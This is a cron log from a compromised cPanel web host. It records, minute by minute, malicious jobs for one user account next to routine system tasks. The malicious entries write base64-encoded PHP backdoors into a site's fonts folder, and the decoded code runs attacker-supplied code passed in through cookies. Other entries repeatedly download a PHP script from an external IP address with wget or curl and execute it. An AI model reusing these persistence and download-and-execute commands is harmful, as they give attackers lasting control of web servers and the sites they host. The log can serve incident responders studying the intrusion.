Aug 30 20:33:01 ip-184-168-122-23 CROND[6183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:34:01 ip-184-168-122-23 CROND[6267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:34:01 ip-184-168-122-23 CROND[6271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:34:01 ip-184-168-122-23 CROND[6269]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:34:01 ip-184-168-122-23 CROND[6268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:34:01 ip-184-168-122-23 CROND[6270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:35:01 ip-184-168-122-23 CROND[6382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:35:01 ip-184-168-122-23 CROND[6384]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 20:35:01 ip-184-168-122-23 CROND[6387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:35:01 ip-184-168-122-23 CROND[6391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:35:01 ip-184-168-122-23 CROND[6394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:35:01 ip-184-168-122-23 CROND[6395]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:35:01 ip-184-168-122-23 CROND[6392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:35:01 ip-184-168-122-23 CROND[6393]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 20:36:01 ip-184-168-122-23 CROND[6487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:36:01 ip-184-168-122-23 CROND[6490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:36:01 ip-184-168-122-23 CROND[6491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:36:01 ip-184-168-122-23 CROND[6488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:36:01 ip-184-168-122-23 CROND[6489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:37:01 ip-184-168-122-23 CROND[6571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:37:01 ip-184-168-122-23 CROND[6574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:37:01 ip-184-168-122-23 CROND[6573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:37:01 ip-184-168-122-23 CROND[6575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:38:01 ip-184-168-122-23 CROND[6657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:38:01 ip-184-168-122-23 CROND[6659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:38:01 ip-184-168-122-23 CROND[6660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:38:01 ip-184-168-122-23 CROND[6661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:38:01 ip-184-168-122-23 CROND[6664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:39:01 ip-184-168-122-23 CROND[6752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:39:01 ip-184-168-122-23 CROND[6755]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 20:39:01 ip-184-168-122-23 CROND[6756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:39:01 ip-184-168-122-23 CROND[6757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:39:01 ip-184-168-122-23 CROND[6754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:40:01 ip-184-168-122-23 CROND[6934]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:40:01 ip-184-168-122-23 CROND[6938]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:40:01 ip-184-168-122-23 CROND[6941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:40:01 ip-184-168-122-23 CROND[6943]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:40:01 ip-184-168-122-23 CROND[6945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:40:01 ip-184-168-122-23 CROND[6942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:40:01 ip-184-168-122-23 CROND[6944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:40:01 ip-184-168-122-23 CROND[6946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:41:01 ip-184-168-122-23 CROND[7034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:41:01 ip-184-168-122-23 CROND[7036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:41:01 ip-184-168-122-23 CROND[7037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:41:01 ip-184-168-122-23 CROND[7038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:42:01 ip-184-168-122-23 CROND[7118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:42:01 ip-184-168-122-23 CROND[7120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:42:01 ip-184-168-122-23 CROND[7121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:42:01 ip-184-168-122-23 CROND[7122]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:42:01 ip-184-168-122-23 CROND[7123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:43:01 ip-184-168-122-23 CROND[7219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:43:01 ip-184-168-122-23 CROND[7220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:43:01 ip-184-168-122-23 CROND[7225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:43:01 ip-184-168-122-23 CROND[7224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:44:01 ip-184-168-122-23 CROND[7327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:44:01 ip-184-168-122-23 CROND[7328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:44:01 ip-184-168-122-23 CROND[7331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:44:01 ip-184-168-122-23 CROND[7332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:44:01 ip-184-168-122-23 CROND[7333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:45:01 ip-184-168-122-23 CROND[7415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:45:01 ip-184-168-122-23 CROND[7418]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:45:01 ip-184-168-122-23 CROND[7419]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Aug 30 20:45:01 ip-184-168-122-23 CROND[7417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:45:01 ip-184-168-122-23 CROND[7420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:45:01 ip-184-168-122-23 CROND[7422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
